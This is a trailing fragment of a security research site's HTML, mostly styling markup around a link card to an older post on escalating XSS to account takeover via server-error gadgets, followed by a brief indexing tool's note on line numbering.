border-black/[0.2] bg-card p-5 shadow-[0.1875rem_0.375rem_0.375rem_rgba(0,0,0,0.3)] transition-colors hover:border-red-700 dark:border-white/[0.2]" href="/scream-until-escalates" data-discover="true"><div><div class="flex items-center gap-2 text-xs text-muted-foreground"><span>Older research</span><svg stroke="currentColor" fill="none" stroke-width="2" viewBox="0 0 24 24" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><line x1="5" y1="12" x2="19" y2="12"></line><polyline points="12 5 19 12 12 19"></polyline></svg></div><h3 class="mt-3 border-l-4 border-red-700 pl-[0.625rem] text-sm font-semibold leading-snug">Scream at it until it Escalates - XSS to ATO via Server Size Errors Gadgets</h3></div><div class="mt-5 flex flex-wrap gap-3 text-xs"><span class="border-2 border-black bg-white px-2 py-1 text-black shadow-[0.0625rem_0.0625rem_rgba(0,0,0),0.125rem_0.125rem_rgba(0,0,0),0.1875rem_0.1875rem_rgba(0,0,0)] dark:border-white">XSS</span><span class="border-2 border-black bg-white px-2 py-1 text-black shadow-[0.0625rem_0.0625rem_rgba(0,0,0),0.125rem_0.125rem_rgba(0,0,0),0.1875rem_0.1875rem_rgba(0,0,0)] dark:border-white">Server Errors</span></div></a></div></div></section></div></div></main><!--/$--></div>
174  </body>
175</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.